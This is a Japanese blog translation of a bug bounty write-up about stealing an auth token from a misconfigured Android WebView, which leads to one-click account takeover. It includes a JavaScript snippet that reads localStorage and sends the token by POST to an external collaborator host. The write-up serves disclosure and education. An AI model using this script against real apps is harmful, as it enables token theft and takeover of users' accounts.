Shikata Ga Nai

Private? There is no such things.

Steal authentication token with one-click on misconfigured WebView.を訳してみた

Hello there, ('ω')ノ

 

構成が間違っている WebView をワンクリックするだけで認証トークンを盗むを。

 

脆弱性:

 アカウント乗っ取り

 

記事:

 https://0xwise.medium.com/are-clicking-links-safe-f7cfcae2e421

 

今回は、Android WebView 攻撃について。

具体的には、メッセージ、コメント、または攻撃者の Web サイトまたは

URL へのリンクを含む投稿を投稿するだけで、HackerOne の

プライベート バグ報奨金プログラムを含む (ただしこれに限定されない)

ワンクリックでアカウント乗っ取りを実現できた方法を 。

Android ユーザーがリンクをクリックすると、攻撃者はその認証トークンと

アカウント データを盗むことができて。

 

WebView とは何か。

WebView は、開発者が JavaScript、Cookie、ユーザ入力のサポートなど、

アプリ内での Web ページの表示方法をカスタマイズできるようにする

コンポーネントで。

また、HTML、CSS、画像のレンダリングも可能になり、ユーザがリンクを

クリックしたりフォームを送信したりするなど、Web コンテンツを

操作できるようになり。

基本的に、これはアプリ コンテンツ用のブラウザで。


詳細:

HackerOne のプライベート バグ報奨金プログラムで Android アプリを

探しているときに、アプリの閲覧中に Web ビューが次のコードを実行し、

ユーザの認証トークンとアカウント データをローカル ストレージに

保存していることを発見して。

 

javascript:window.localStorage.setItem("u", JSON.stringify({"oldToken":"Basic NjQwMDE1N2EwMTA4MzI0NTI1Y2NiOWJmOmQ3MDVkZDkzLWRjMGMtNxxxxxxxx","id":"61957b5843xxxxx","email":"secret@myemail.com","username":"0xWise","referralCode":"","hasApiAccount":false,"hasMobileAccount":true,"hasWebAccount":true,"hasPasswordSet":true}));

 

このコードは、項目「u」の localStorage 値が上記のコードのデータと

等しいことを意味し。

コード内のデータには、自分のアカウントの JWT 認証トークンと同じ

「oldToken」が含まれていて。

(注: トークンは有効であり、古いものではなく)

 

Webview アクティビティは、setJavaScriptEnabled(true) および

setDomStorageEnabled(true) を許可するように設定され。

これは、Web ビュー内でクリックして開かれたリンクはすべて JavaScript を実行し、

問題なく localStorage オブジェクトと sessionStorage オブジェクトに

アクセスできることを意味して。

 

この脆弱性を検出および/または悪用するために、サーバ

(Replit ホスティング サービスを使用) に次のスクリプトを作成し。


alert(window.localStorage.getItem('u'));
fetch('https://eq8u3apw7h7746qv0l5madalnct3ht5i.oastify.com/log', {
method: 'POST',
mode: 'no-cors',
body:window.localStorage.getItem('u')
});

 

その後、Android アプリに移動し、Replit サーバの

URL (例: https://xss-redacted.repl.co) を含む投稿を作成し。

Android アプリのユーザまたは被害者がリンクをクリックすると、

結果は次のようになり。

 

 

インパクト

投稿、コメント、プロフィール Web サイトなどで攻撃者によって

制御されている URL を WebView 内で開くことができ、攻撃者に

ローカル ストレージからユーザのデータを盗むためのアクセス権を

与えることができて。

このデータにはユーザ認証トークンが含まれており、

アカウント乗っ取り (ATO) につながり。

さらに、攻撃者が投稿やコメントなどを通じてエクスプロイト URL を

簡単に拡散できるため、この脆弱性は大量のアカウント乗っ取りに

つながる可能性があって。

 

Best regards, (^^ゞ